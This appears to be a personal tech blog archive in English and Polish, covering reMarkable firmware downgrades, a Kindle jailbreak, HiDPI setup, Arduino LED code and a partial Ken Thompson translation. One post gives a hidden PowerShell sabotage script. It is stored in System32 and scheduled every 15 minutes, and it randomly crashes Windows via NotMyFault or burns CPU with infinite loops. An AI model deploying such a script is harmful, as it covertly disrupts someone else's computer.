Toltec is a community-maintained repository of free software for the reMarkable tablet. It is the recommended way to install software on the device.

But:

⚠️ Warning: Toltec only supports OS builds between 2.6.1.71 and 3.3.2.1666.

So, you need to downgrade from the current version (mine was 3.14.1.9) that's why I wrote this manual. Be careful: notes created on a higher version may not be compatible with an older version.

In versions >=3.11 of the system software, automatic updates are no longer possible. Firmware must be downloaded and extracted using dd.

Say, your Remarkable has IP: 192.168.10.29

You need SSH password for RM2. Go to "Menu" -> "Help" -> "Copyright & linceses". At the bottom you'll find password - store it in the safe place.

Here are the steps to downgrade firmware:

Download the upgrade file with codexctl.
Extract the raw ext4 image from the upgrade file.
Transfer the image to the device.
Determine which partition is the fallback partition.
Use dd to write the image to the fallback partition.
Use codexctl restore to make the fallback partition active.
Reboot the device.

1. Download the upgrade file with codexctl

You will need 2 versions of codexctl binary - one for Rm2 and another for your PC.

Binary for Rm2:

Download the latest version from: https://github.com/Jayy001/codexctl/releases/

Extract it and copy it to the Rm2:

wget https://github.com/Jayy001/codexctl/releases/download/1719419372/remarkable.zip
unzip remarkable.zip
scp codexctl.bin root@192.168.10.29:.

Binary for PC:

Build codexctl on your PC/laptop and download the image with firmware:

git clone https://github.com/Jayy001/codexctl.git
cd codexctl
python -m venv venv
source ./venv/bin/activate
pip install wheel
pip install -r requirements.remote.txt
python codexctl.py download toltec

Downloaded image has a name: 3.3.2.1666_reMarkable2-ihUirIf133-.signed.

2. Extract the raw ext4 image from the firmware file

Extract the image:

python codexctl.py extract --out ./3.3.2.1666_reMarkable2-ihUirIf133-.extracted ../3.3.2.1666_reMarkable2-ihUirIf133-.signed

$ file 3.3.2.1666_reMarkable2-ihUirIf133-.extracted
extracted_fw: Linux rev 1.0 ext4 filesystem data, UUID=fb041d03-92fd-48ab-993f-6ee5b0f954a7 (extents) (64bit) (large files) (huge files)

3. Transfer the image to the device.

Copy extracted image to the Rm2:

scp ./3.3.2.1666_reMarkable2-ihUirIf133.extracted root@192.168.10.29:.

4. Determine which partition is the fallback partition

On Rm2:

root@reMarkable:~# fdisk -l
Disk /dev/mmcblk2: 7456 MB, 7818182656 bytes, 15269888 sectors
238592 cylinders, 4 heads, 16 sectors/track
Units: sectors of 1 * 512 = 512 bytes

Device       Boot StartCHS    EndCHS        StartLBA     EndLBA    Sectors  Size Id Type
/dev/mmcblk2p1    32,0,1      671,3,16          2048      43007      40960 20.0M 83 Linux
/dev/mmcblk2p2    672,0,1     95,3,16          43008     595967     552960  270M 83 Linux
/dev/mmcblk2p3    96,0,1      543,3,16        595968    1148927     552960  270M 83 Linux
/dev/mmcblk2p4    544,0,1     1023,3,16      1148928   15269887   14120960 6895M 83 Linux

root@reMarkable:~# mount
/dev/mmcblk2p3 on / type ext4 (rw,relatime)
[...]
/dev/mmcblk2p1 on /var/lib/uboot type vfat  (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
/dev/mmcblk2p4 on /home type ext4 (rw,relatime)

As seen above, only /dev/mmcblk2p2 is NOT MOUNTED, so that is the fallback partition.

5. Use dd to write the image on the fallback partition

dd if=/home/root/3.3.2.1666_reMarkable2-ihUirIf133.extracted of=/dev/mmcblk2p2

6. Use codexctl restore to make the fallback partition active

On Rm2:

/home/root/codexctl.bin restore

Confirm twice and shut down Rm2.

7. Reboot the device.

After the restart, you will have older firmware.

HiDPI

2023-10-18T09:00:00+02:00

Poniższe wpisy dotyczą maszynki: ThinkPad P14s Gen4 z dwoma monitorami Dell 24".

Screen 0: minimum 320 x 200, current 6240 x 2560, maximum 16384 x 16384
eDP-1 connected 2240x1400+0+0 (normal left inverted right x axis y axis) 302mm x 189mm

DP-3-8 connected primary 2560x1440+2240+0 (normal left inverted right x axis y axis) 527mm x 296mm

DP-3-1 connected 1440x2560+4800+0 right (normal left inverted right x axis y axis) 527mm x 296mm

Jak widać na powyższym obrazku, monitor laptopa ma 2240x1400, a oba monitory 2560x1440 (DP-3-1 jest obrócony pionowo), na szczęście dosyć podobne wartości więc odpowiednie ustawienie DPI nie popsuje zabawy.

X odpalam za pomocą .xinitrc gdzie mam wpis:

xrandr --dpi 192

Mozilla Firefox:

wchodzę w ustawienia zaawansowane wpisując: about:config w polu URL-a i ustawiam następującą opcję na dopasowaną do ekranu wartość :

layout.css.devPixelsPerPx: 0.7

Chromium:

rozwiązałem robiąć skrypt, np. w ~/bin/chroumium.sh:

#!/usr/bin/env bash

/usr/bin/chromium-bin --force-device-scale-factor=1.2 $1

i linkując go do /usr/bin/chromium:

sudo ln -sf /home/pawelkaczor/bin/chromium.sh /usr/bin/chromium

Kindle Jailbreak

2023-08-08T13:34:00+02:00

Ten wpis to po prostu opis Jailbreaka na starych Kindle. Zachowuję na wypadek, gdyby oficjalne strony przestały działać.

Kindle 4.1.4

Podłącz Kindle pod Linuksa i podmontuj jego dysk:

sudo mount /dev/sda1 /mnt/usb

Zachowaj plik jailbreak:

kindle-k4-jailbreak-1.8.N Pobierz

Rozpakuj plik i skopiuj na Kindle następujące pliki i folder:

cp -r data.tar.gz ENABLE_DIAGS diagnostic_logs /mnt/usb
sudo umount /mn/usb

Zrestartuj Kindle, Menu -> Settings -> Menu -> Reboot.
Po restarcie załaduje się menu, wybierz
"D) Exit, Reboot or Disable Diags"
wybierz:
"R) Reboot System" a potem:
"Q) To continue" (w opisie widzisz aby użyć 'FW Left', to oznacza klawisz w lewo na keypadzie).
Poczekaj 20 sekund.
Na ekranie powinieneś zobaczyć opis "Jailbreak" i po chwili Kindle znowu się zrestartuje.
Po starcie powinieneś zobaczyć nową książkę zatytułowaną "You are Jailbroken".
Jeśli ją widzisz to wszystko poszło dobrze.

Procedura Update'u

Stosuj ją zawsze po wgraniu pliku update'u na root dysku Kindle'a.
Odmontuj dysk Kindle'a. Odłącz od USB.
Na Kindle wybierz: Menu -> Settings -> Menu -> Update Your Kindle.
Kindle się zaktualizuje i zrestartuje.

Instalacja KUAL

Podłącz i podmontuj.

Zapisz plik:

kindle-mkk-20141129-r18833.tar` </uploads/2023/08/kindle-mkk-20141129-r18833.tar.xz>`__

Rozpakuj i skopiuj na Kindle odpowiedni plik:

sudo cp Update_mkk-20141129-k4-ALL_install.bin /mnt/usb

Wykonaj "Procedurę Update'u".

Zapisz plik:

KUAL-v2.7.29-g7750a3a-20221017.tar Pobierz

Rozpakuj i skopiuj odpowiedni plik na Kindle'a:

sudo cp KUAL-KDK-1.0.azw2 /mnt/usb/documents

Odmontuj. Na liście książek powinien pojawić się KUAL.

Instalacja rozszerzeń (extensions) polega na podmontowaniu Kindle jak zwykle, a następnie rozpakowaniu następujących plików:

kual-kual-plus-0.2.N-r13380.tar Pobierz

kual-mrinstaller-1.7.N-r18983.tar Pobierz

kual-batterystatus-1.1.N-r18977.tar Pobierz

kual-helper-0.5.N-r18980.tar Pobierz

a następnie skopiowaniu folderów 'extensions'z każdego archiwum do '/mnt/usb/extensions'.

Potem umount, odłączeniu od USB i w KUAL mamy rozszerzenia.

Rozszerzenie "MRInstaller" pozwala na łatwe instalowaniepakietów. Wystarczy skopiować odpowiedni plik '*.bin' do katalogu '/mnt/usb/mrpackages', odmontować, odpiąć USB i w KUAL wybrać w menu:

KUAL -> Helper+ -> "Install MR Packages".

Uruchomienie sieci po USB

Podłącz Kindle pod Linuksa i podmontuj jego dysk:

sudo mount /dev/sda1 /mnt/usb

Zapisz plik:

kindle-usbnetwork-0.57.N-k4 Pobierz

Rozpakuj. Skopiuj plik Update_usbnetwork_0.57.N_k4_install.bin:

sudo cp Update_usbnetwork_0.57.N_k4_install.bin /mnt/usb/

Wykonaj "Procedurę Update'u".

Po restarcie:

uruchom KUAL, wybierz z menu: "USBNetwork" -> "Toggle USBNetwork",

podłącz Kindle za pomocą USB do komputera,

jeśli masz w kernelu wkompilowaną obsługę USBNet, powinno pojawić się nowe urządzenie o nazwie "usb0", sprawdź w logach:

sudo dmesg | grep -i usb

przykładowy output:

[102242.978489] usb 1-1: new high-speed USB device number 17 using xhci_hcd
[102243.140236] usb 1-1: New USB device found, idVendor=0525, idProduct=a4a2, bcdDevice= 3.25
[102243.140242] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[102243.140244] usb 1-1: Product: RNDIS/Ethernet Gadget
[102243.140245] usb 1-1: Manufacturer: Linux 2.6.31-rt11-lab126 with fsl-usb2-udc
[102243.719328] cdc_subset: probe of 1-1:1.0 failed with error -22
[102243.722921] cdc_subset 1-1:1.1 usb0: register 'cdc_subset' at usb-0000:00:14.0-1, Linux Device, ea:9c:f4:38:3f:07
[102243.722953] usbcore: registered new interface driver cdc_subset
[102243.722972] cdc_ether: probe of 1-1:1.0 failed with error -16
[102243.722996] usbcore: registered new interface driver cdc_ether
[102243.732945] cdc_subset 1-1:1.1 enp0s20u1i1: renamed from usb0

ustaw IP:

sudo ip addr add 192.168.15.201/24 dev enp0s20u1i1

sprawdź czy połączenie działa:

ping 192.168.15.244

jeśli tak, możesz połączyć się przez SSH:

ssh root@192.168.15.244

hasło to "kindle".

W KUAL można ustawić aby sieć i SSH startowały automatycznie po włączeniu Kindle oraz włączyć nasłuchiwanie na WiFi, ale to już inna para kaloszy.

Więcej jest na oficjalnej stronie.

Skróty w polu wyszukiwania

Wywołaj klawiaturę i pole wyszukiwania naciskając na klawisz z klawiaturą. Poniżej lista skrótów:

;dm - Dump messages to /documents
;dh - Dump cvm heap
;dt - Dump cvm stack
;shpm - set device to shipping mode
;urst - Reset user partition, deletes content of hidden System folder, Audible folder, Documents and tts folder.

Before using do a complete backup of your device
;debugOn - verbose logging
;debugPaint - log painting functions
;debugOff - non-verbose logging
;debugPref - pref level logging
;dP - alias of ;debugPref
;311 - change carrier settings
;411 - server information
;611 - wan information
;711 - wifi information
;fc-cache - updates fontconfig's cache, then restart the framework
;setTime - sets kindle time to unix clock
;st - alias of ;setTime (format: yyyy-mm-dd HH:MM – e.g.: ;st 2012-07-22 17:59)
~ds - Never show screen saver   (then you cannot lock the kindle till next reboot.
                                 Rebooting the Kindle will restore the screen saver lock
                                 and, hopefully, everything goes fine!)

;usbnetwork - toggle USB networking
;un - alias of ;usbNetwork

Instalacja Linux Arch na Kindle

https://github.com/Wint3rmute/arch-linux-on-kindle

[Encrypted] Bydło

2023-07-18T12:34:00+02:00

Ta treść została zaszyfrowana bo wariatów nie brakuje, a ja mam rodzinę.

Mikrotik and radar

2023-06-24T11:06:00+02:00

Network problems with my laptop begin to manifest few months ago. As I noticed then it was loosing connection to my 5GHz WiFi, automatically switching to another available network. I had no time to fix it. But month after month I noticed constant increase in those cases. So I investigated it last night discovering that Qualcomm WiFi interface discovers radar working nearby.

But it's lie. There's no weather or plane radars in my sorroundings.

I will not get into details as this already has been thouroughsly explained in this video:

At last I've found a solution which works. Log in to the Mikrotik and provide following command, changing 'wlan2' to corresponding 5GHz interface in you router:

/interface/wireless/set wlan2 skip-dfs-channels=all

I'm not sure if this setting will survive reboot, so check it for yourself.

Link do oryginału

Programowalne LEDy z Aliexpress

2023-06-09T00:03:00+02:00

Adnotacja z 2026: artykuł nigdy nie dokończony

Kolejny raz przekonałem się, że jeśli chcę czegoś nauczyć swoje dzieci, nie powinienem zbytnio oszczędzać.

Mój młodszy syn chce zbudować sobie programowalne podświetlenie z LED-ów. Zamiast kupić sprawdzone, np. z Adafruit, przyjanuszyłem i kupiłem na Aliexpress.

Dostawa zajęła ok. trzech tygodni więc prawie o nich zapomnieliśmy. Według opisu miały to być światełka typu WD-2813. O! My naiwni!

Arduino Nano klon z CH340, potrzebny sterownik.

Parametry:

Mikrokontroler: Atmega328 / 16MHz

Pamięć:Flash 32kB, EEPROM 1kB, SRAM 2kB

Konwerter:USB RS232 (CH340)

Złącze: Mini USB

Interfejs: SPI,UART,I2C

Wejścia: Analogowe 8 szt.

Porty: 14 I/O 6x PWM

Zasilanie: 5V

Wymiary: 44mm x 18mm

Moduł niezlutowany - do samodzielnego montażu.

Biblioteki: Adafruit i Fastled

https://github.com/dmadison/Adalight-FastLED

Biblioteka Fastled jest najlepsza.

https://www.instructables.com/Cheap-Ambilight-Tutorial-for-PC-Using-Arduino/

/*
 *  Project     Adalight FastLED
 *  @author     David Madison
 *  @link       github.com/dmadison/Adalight-FastLED
 *  @license    LGPL - Copyright (c) 2017 David Madison
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Lesser General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

#include <Arduino.h>

// --- General Settings
const uint16_t
    Num_Leds   =  58;         // strip length
const uint8_t
    Brightness =  255;        // maximum brightness

// --- FastLED Setings
#define LED_TYPE     WS2813  // led strip type for FastLED
#define COLOR_ORDER  GRB      // color order for bitbang
#define PIN_DATA     3        // led data output pin
// #define PIN_CLOCK  7       // led data clock pin (uncomment if you're using a 4-wire LED type)

// --- Serial Settings
const unsigned long
    SerialSpeed    = 115200;  // serial port speed
const uint16_t
    SerialTimeout  = 60;      // time before LEDs are shut off if no data (in seconds), 0 to disable

// --- Optional Settings (uncomment to add)
#define SERIAL_FLUSH          // Serial buffer cleared on LED latch
// #define CLEAR_ON_START     // LEDs are cleared on reset

// --- Debug Settings (uncomment to add)
// #define DEBUG_LED 13       // toggles the Arduino's built-in LED on header match
// #define DEBUG_FPS 8        // enables a pulse on LED latch

// --------------------------------------------------------------------

#include <FastLED.h>

CRGB leds[Num_Leds];
uint8_t * ledsRaw = (uint8_t *)leds;

// A 'magic word' (along with LED count & checksum) precedes each block
// of LED data; this assists the microcontroller in syncing up with the
// host-side software and properly issuing the latch (host I/O is
// likely buffered, making usleep() unreliable for latch). You may see
// an initial glitchy frame or two until the two come into alignment.
// The magic word can be whatever sequence you like, but each character
// should be unique, and frequent pixel values like 0 and 255 are
// avoided -- fewer false positives. The host software will need to
// generate a compatible header: immediately following the magic word
// are three bytes: a 16-bit count of the number of LEDs (high byte
// first) followed by a simple checksum value (high byte XOR low byte
// XOR 0x55). LED data follows, 3 bytes per LED, in order R, G, B,
// where 0 = off and 255 = max brightness.

const uint8_t magic[] = {
    'A','d','a'};
#define MAGICSIZE  sizeof(magic)

// Check values are header byte # - 1, as they are indexed from 0
#define HICHECK    (MAGICSIZE)
#define LOCHECK    (MAGICSIZE + 1)
#define CHECKSUM   (MAGICSIZE + 2)

enum processModes_t {Header, Data} mode = Header;

int16_t c;  // current byte, must support -1 if no data available
uint16_t outPos;  // current byte index in the LED array
uint32_t bytesRemaining;  // count of bytes yet received, set by checksum
unsigned long t, lastByteTime, lastAckTime;  // millisecond timestamps

void headerMode();
void dataMode();
void timeouts();

// Macros initialized
#ifdef SERIAL_FLUSH
    #undef SERIAL_FLUSH
    #define SERIAL_FLUSH while(Serial.available() > 0) { Serial.read(); }
#else
    #define SERIAL_FLUSH
#endif

#ifdef DEBUG_LED
    #define ON  1
    #define OFF 0

    #define D_LED(x) do {digitalWrite(DEBUG_LED, x);} while(0)
#else
    #define D_LED(x)
#endif

#ifdef DEBUG_FPS
    #define D_FPS do {digitalWrite(DEBUG_FPS, HIGH); digitalWrite(DEBUG_FPS, LOW);} while (0)
#else
    #define D_FPS
#endif

void setup(){
    #ifdef DEBUG_LED
        pinMode(DEBUG_LED, OUTPUT);
        digitalWrite(DEBUG_LED, LOW);
    #endif

    #ifdef DEBUG_FPS
        pinMode(DEBUG_FPS, OUTPUT);
    #endif

    #if defined(PIN_CLOCK) && defined(PIN_DATA)
        FastLED.addLeds<LED_TYPE, PIN_DATA, PIN_CLOCK, COLOR_ORDER>(leds, Num_Leds);
    #elif defined(PIN_DATA)
        FastLED.addLeds<LED_TYPE, PIN_DATA, COLOR_ORDER>(leds, Num_Leds);
    #else
        #error "No LED output pins defined. Check your settings at the top."
    #endif

    FastLED.setBrightness(Brightness);

    #ifdef CLEAR_ON_START
        FastLED.show();
    #endif

    Serial.begin(SerialSpeed);
    Serial.print("Ada\n"); // Send ACK string to host

    lastByteTime = lastAckTime = millis(); // Set initial counters
}

void loop(){
    t = millis(); // Save current time

    // If there is new serial data
    if((c = Serial.read()) >= 0){
        lastByteTime = lastAckTime = t; // Reset timeout counters

        switch(mode) {
            case Header:
                headerMode();
                break;
            case Data:
                dataMode();
                break;
        }
    }
    else {
        // No new data
        timeouts();
    }
}

void headerMode(){
    static uint8_t
        headPos,
        hi, lo, chk;

    if(headPos < MAGICSIZE){
        // Check if magic word matches
        if(c == magic[headPos]) {headPos++;}
        else {headPos = 0;}
    }
    else{
        // Magic word matches! Now verify checksum
        switch(headPos){
            case HICHECK:
                hi = c;
                headPos++;
                break;
            case LOCHECK:
                lo = c;
                headPos++;
                break;
            case CHECKSUM:
                chk = c;
                if(chk == (hi ^ lo ^ 0x55)) {
                    // Checksum looks valid. Get 16-bit LED count, add 1
                    // (# LEDs is always > 0) and multiply by 3 for R,G,B.
                    D_LED(ON);
                    bytesRemaining = 3L * (256L * (long)hi + (long)lo + 1L);
                    outPos = 0;
                    memset(leds, 0, Num_Leds * sizeof(struct CRGB));
                    mode = Data; // Proceed to latch wait mode
                }
                headPos = 0; // Reset header position regardless of checksum result
                break;
        }
    }
}

void dataMode(){
    // If LED data is not full
    if (outPos < sizeof(leds)){
        ledsRaw[outPos++] = c; // Issue next byte
    }
    bytesRemaining--;

    if(bytesRemaining == 0) {
        // End of data -- issue latch:
        mode = Header; // Begin next header search
        FastLED.show();
        D_FPS;
        D_LED(OFF);
        SERIAL_FLUSH;
    }
}

void timeouts(){
    // No data received. If this persists, send an ACK packet
    // to host once every second to alert it to our presence.
    if((t - lastAckTime) >= 1000) {
        Serial.print("Ada\n"); // Send ACK string to host
        lastAckTime = t; // Reset counter

        // If no data received for an extended time, turn off all LEDs.
        if(SerialTimeout != 0 && (t - lastByteTime) >= (uint32_t) SerialTimeout * 1000) {
            memset(leds, 0, Num_Leds * sizeof(struct CRGB)); //filling Led array by zeroes
            FastLED.show();
            mode = Header;
            lastByteTime = t; // Reset counter
        }
    }
}

 Note:
The price is only Led Strip, Not Included Power Supply or Led Controller!
WS2813 Must Use DC5V Power Supply AND Led Controller to Control!
Every 0.5meter with solder joints, please note!

Pay Attention:
1, 30,60,144 means: 30 Leds/m, 60 Leds/m, 144 Leds/m
2, IP30 Non-Waterproof / IP65 Waterproof in Silicon Coating / IP67 Waterproof in Silicon Tube
3, IP30 IP65 with 3M adhensive tape on the back (IP67 without 3M adhensive)
4, Each strip with one free male connector for, The length of the strip as you choose

Main feature:

One pixel damaged will not affect the other LEDs'working, Dual signal wires version, Signal can jump to transfer

FEATURES:
LED Light Source: WS2813 LEDs ( Same Protocol as WS2811S But With Dual-Signal Wires,So Can Be Controlled by the Same WS2811/ws2812 Controllers)
Input Voltage: DC 5V
Power: 30 Leds/M --- 9 Watt/Meter / 60 Leds/M --- 18 Watt/Meter / 144 Leds/M --- 43.2 Watt/Meter
LED Resource: WS2813 led (5050 SMD RGB LED with built-in improved version of ws2811 ic)
LED: Each LED is separately controlled
IC Type: Improved version ws2813 IC(built inside the 5050 smd rgb led)
Of IC: (1 IC drives 1 led chip)
Pixels: 30Leds/60Leds/144Leds/meter
Pitch: 16.6mm(1000/64)
Grey Scale: 256
Colors: Full color RGB, dream color changing
Bits/Color: 8-Bits/Color
FPC Color: BLACK / White
FPC Width: 30 Leds/M --- 10 MM / 60 Leds/M --- 10 MM / 144 Leds/M --- 12 MM
Protection Rate: IP30 Non-Waterproof / IP65 Waterproof in Silicon Coating / IP67 Waterproof in Silicon Tube
Cuttable: Every LED is cuttable
Package: In anti-static bag, IP30 IP65 with 3M adhensive tape on the back (IP67 without 3M adhensive), each strip with one free male connector for connector
Working Temperature: -40 - 70 °C
Storage Temperature: -50 - 80 °C
Source Life: 50,000 hours
Connector: 4PIN connector terminal pair (Red: 5V power, Green: Date line, Blue: standby date line, Black: GND)
Recommand controllers: T-1000s,T-8000A;T-100K;T-200K;T-300K

MORE FEATURES:
(1)One pixel damaged will not affect the other LEDs working.
(2)The power protection,if +5V and GND reverse polarity,the LED will not be burned.
(3) Dual signal wires version, signal can jump to transfer.
(4)The original electronic devices integrated,it does not cause virtual welding in the installation process.
1, all the electronic components are integrated in a 5050 lamp beads, it does not require any other peripheral auxiliary electronic components to form a complete external control pixels. While reducing the product at the time of installation inverted Weld, caused by poor.
2, serial cascade interface, dual-line signal transmission, to achieve the functions of HTTP, which under a single pixel without causing damage to its lower pixel normal lighting, silk ho does not affect the overall results.
3, intelligent reverse polarity protection, product installation access 5V power supply in case of reverse, will not cause damage to the lamp beads.
4, built-in signal shaping circuit, any one pixel after receiving the signal through the waveform shaping and then output to ensure line waveform distortion will not accumulate.
5, the transmission distance between any two points in less than 5 meters without any additional signal amplification circuit.
6, when a refresh rate of 30 frames / sec, the number of cascades of not less than 1024 points.
7, the data transmission speed of up to 800Kbps. Light color consistency, cost-effective.

LED WS2813 Symphony light strip Function Description:

Happy control a single lamp, water, windows, rear meteor, chasing, pattern change animation, video, text, and so on. Use of the lamp, in which a pixel bad, does not affect the normal operation of other lights so as not to affect the overall results. Any color can show, random combinations into any pattern, in particular made light of the screen to use. No separate address to write to the lamp can be achieved HTTP, installation easier. Meanwhile lamp beads which also integrates a capacitive resistance, so that electronic components do not need to be on board the auxiliary light bar, thus increasing the stability of the product.

LED WS2813 strip use for:

The product rich colors and bright light, high visibility, more visually appealing. Is widely used in the corridor wall, indoor decoration, product model decorative lighting, decorative lighting consoles, speakers decorative lighting, entertainment, wine cooler bar backlight, smallpox backlight, LED light boxes, LED luminous signs, aquarium supplies, car decoration etc., it is to replace the traditional neon signs, fluorescent lamps and a new

Obelżywe treści?

2023-06-09T00:02:00+02:00

Pewien bank działający w Polsce, z tego co z historii wiem, to założony przez nację, która przodowała w okradaniu Nowego Świata, odmówił mojemu synowi wydania karty z wybranym własnym wydrukiem. Powód widać na skanie odpowiedzi. A pod skanem załączam grafiki wybrane przez syna. Nie ma sensu komentować. Acha, to było przed amokiem z Ukrainą.

Coś dla Windowsa mój kolego...

2023-06-08T23:47:00+02:00

...nie pamiętam co, ale chyba niefajnego. :)

Update żeby się okno akceptacji nie pojawiało:

reg.exe ADD HKCU\Software\Sysinternals /v EulaAccepted /t REG_DWORD /d 1 /f
reg.exe ADD HKU.DEFAULT\Software\Sysinternals /v EulaAccepted /t REG_DWORD /d 1 /f

random.ps1

$asig = "0x01", "0x02", "0x03", "0x04", "0x05", "0x06", "0x07", "0x08"
$vrnd = Get-Random -Minimum 0 -Maximum 50
if($vrnd -gt 20 -and $vrnd -lt 35) {

Write-Output $msig

$msig = Get-Random -Maximum $asig.count
C:\Windows\System32\nmf64.exe crash $msig

} else {

Write-Output $vrnd

Start-Job { C:\Windows\System32\runwhile.ps1 }

}

runwhile.ps1
while ($true){}
while ($true){}
while ($true){}
while ($true){}
while ($true){}
while ($true){}
while ($true){}
while ($true){}

Oba są w C:\Windows\System32

Wywoluje co 15 minut ze Schedulera.

ChatGPT driving a car

2023-06-06T06:08:00+02:00

Adnotacja z 2026: artykuł nigdy nie dokończony

I have quite stupid idea to allow ChatGPT operate a car. Lego Mindstorms car.
Both with chat we have built Chrome add-on to parse chat output for specific commands written in simple language called /gpt:.
Every command starts with /gtp: and have instruction for Lego car, so movig car forward for 10 seconds needs following string:
/gpt:fwd-10
And /gpt:left-15 turns car left at 15 degrees (how I will do it, I still don't know but will try it later).

So, as for now I have working add-on, here is screenshot, it's in Polish but you got the idea:

In next step I will use Native Messaging to send command with Bluetooth to Lego Mindstorms module.

Polskie tłumaczenie "Refleksji o zaufaniu do zaufania" Kena Thompsona

2023-05-25T23:46:00+02:00

Adnotacja z 2026: artykuł nigdy nie dokończony, a obecnie LLM zrobi to lepiej ode mnie.

Nie jestem specjalnie zagorzałym zwolennikiem tłumaczenia wszystkich tekstów na język polski. Zwłaszcza w informatyce. Pewne rzeczy lepiej brzmią w oryginalnych językach i w tłumaczeniu, siłą rzeczy, tracą na przejrzystości albo, co jeszcze gorsze, błyskotliwości. Czasem po prostu nie istnieje w polskim ekwiwalentny odpowiednik, więc tłumacz musi próbować opisać tło czyli kontekst. Gdy jest historyczny, to zagwarantować mogę, że spójność i wartkość przekazu niechybnie ucierpi.

Spotkałem się z tym problemem wielokrotnie podczas tłumaczenia "Soul of the New Machine" Tracy Kiddera. Jak wytłumaczyć czytelnikowi dlaczego prototyp komputera nosi imię postaci z komiksu albo dlaczego mapa USA na okładce "The New Yorkera" z 1976 roku wygląda tak jak poniżej?

Uważam jednak, że w przypadków niektórych tesktów polskie tłumaczenie powinno powstać, a jeśli ktoś podejmie się tego wysiłku, to zobowiązany jest dobrze je wytłumaczyć. Dlaczego tak myślę? Po pierwsze, choć wiem jak prozaicznie to zabrzmi, nie każdy zna język oryginału. Już słyszę te głosy: "a po co komu znajomość literatury z tak specjalistycznego obszaru jak informatyka?". I jeszcze, że nie zapuszczanie się w takie rejony bez znajomości angielskiego to czyste wariactwo.

Nieprawda. Te same komunały można powiedzieć o każdej dziedzinie i nadal pozostaną fałszywe. Każdy człowiek, nawet taki z tzw. otwartym umysłem, ciekawy wszystkiego, ma narzuconą przez rzeczywistość przepustowość informacyjną. Jeśli poświęci czas na naukę języka angielskiego, straci go tym samym na naukę czegoś innego. Zadaniem tłumacza jest rekompensata "straconego" czasu. W zamian, tłumacz ma nadzieję, zyska coś podobnego od innej osoby. Jest to więc zaraz zaciąganie i spłacanie długu.

Jest jeszcze jeden aspekt, dotyczący rozwoju społeczeństwa oraz narodu ale nie będę go tu rozwijał bo wydaje mi się, że każde wie o co mi chodzi.

Podejmuję wysiłek przetłumaczenia tekstu Kena Thompsona bo uważam, że jest to praca ważna i, wbrew pozorom, wcale nie dotycząca informatyki ale tematu o wiele szerszego i głębokiego.

Zaufania.

Ale zacznijmy w końcu:

Refleksje nad zaufaniem do zaufania

Do jakiego stopnia powinniśmy ufać, że program jest wolny od koni trojańskich? Być może ważniejsze jest zaufanie do ludzi piszących oprogramowanie.

KEN THOMPSON, 1984

WSTĘP

Dziękuję ACM za tę nagrodę.¹ Nic nie mogę zrobić z przeświadczeniem, że za honor ten w takim samym stopniu dopowiedzialny jest przypadek, jak i walory techniczne. Wraz z popularyzacją UNIX-a, który przeszedł od centralnie zarządzanych mainframe'ów do autonomicznych komputerów mini, nastapiła powszechna zmiana w przemyśle. Wydaje mi się, że zamiast mnie powinien tu być Daniel Bobrow [1], gdyby nie było go stać na PDP-10 i musiał "zadowolić się" PDP-11. Co więcej, obecna pozycja UNIX-a to efekt pracy wielkiej liczby ludzi.

Jest takie stare porzekadło, "Tańcz z tą, która cię przyprowadziła", co oznacza że powinieniem mówić o UNIX-ie. Chociaż nie zajmowałem się głównym rozwojem UNIX-a od wielu lat, to wciąż zbieram niezasłużone pochwały za pracę innych. W związku z tym, nie zamierzam mówić o UNXI-ie ale chcę podziękować każdemu, kto pomagał.

To przywodzi mi na myśl Dennisa Ritchiego. Nasza współpraca była czymś pięknym. Przypominam sobie tylko jeden przypadek braku koordynacji na całe 10 lat wspólnej pracy. Odkryłem wtedy, że obaj napisaliśmy taki sam 20-linijkowy program w asemblerze. Porównałem oba kody źródłowe i byłem zdumiony faktem, że zgadzają się co do pojedynczego znaku. Rezultat naszej wspólnej pracy był daleko lepszy, niż praca którą wykonał każdy z nas.

Jestem programistą.

Arch Linux na Macbooku Pro Late 2013 (11,3)

2023-05-25T23:45:00+02:00

Instalacja wg poniższych poradników:

https://wiki.archlinux.org/title/MacBookPro11,x

oraz z pomocą oficjalnego przewodnika:

https://wiki.archlinux.org/title/Installation_guide

Używałem również następującego obrazka ale ostrzegam, to jest dość stara instrukcja i nowicjusz, jak ja, może się przez nią zagubić.

Przy pierwszej próbie popełniłem błąd tworząc partycję EFI podczas gdy po instalacji macOS-a taka partycja już istniała. W efekcie nic nie działało, a mnie się grzebać nie chciało i zaczałem wszystko od nowa.

Na razie bootowanie jest za pomocą refinda ale chyba z niego zrezygnuję tylko wczytam się w dokumentację i zrobię porządny konfig bezpośrednio w

Karta graficzna (ma być tylko Intel, a NVidia wyłączona z prądu)

Macbook Pro ma 2 karty graficzne: dyskretną, mocną NVidii i słabą, intelowską. macOS radzi sobie doskonale z przełączaniem pomiędzy nimi, zależnie od potrzeby. W Linuksie nie ma łatwo. A robię to po to aby oszczędzać energię (i baterię), na Intelu laptop żre mniej energii i dłużej działa. Proste.

Są trzy sposoby.

Pierwszy polega na patchu dodanym do źródeł GRUB-a i zianstalowaniu takiej przerobionej wersji. Potem należy dodać do opcji startowych kernela dodać wpis "apple_set_os".

Tutaj opis: https://wiki.archlinux.org/title/MacBookPro11,x#Getting_the_integrated_intel_card_to_work_on_11,3

Można też pobrać spreparowany loader dla refinda i startować Archa z jego pomocą. Tutaj link: https://github.com/0xbb/apple_set_os.efi

Sprawdzenie, która karty są w systemie:

lspci -vnnn | perl -lne 'print if /^\d+\:.+(\[\S+\:\S+\])/' | grep VGA

W przypadku Nvidii zwraca to:

01:00.0 VGA compatible controller [0300]: NVIDIA Corporation GK107M [GeForce GT 750M Mac Edition] [10de:0fe9] (rev a1) (prog-if 00 [VGA controller])

W przypadku Intela to:

00:02.0 VGA compatible controller [0300]: Intel Corporation Crystal Well Integrated Graphics Controller [8086:0d26] (rev 08) (prog-if 00 [VGA controller])

Na początek, po paru próbach, w końcu skopiowałem odpowiedni obraz efi (https://github.com/0xbb/apple_set_os.efi) i zainstalowałem Gruba.

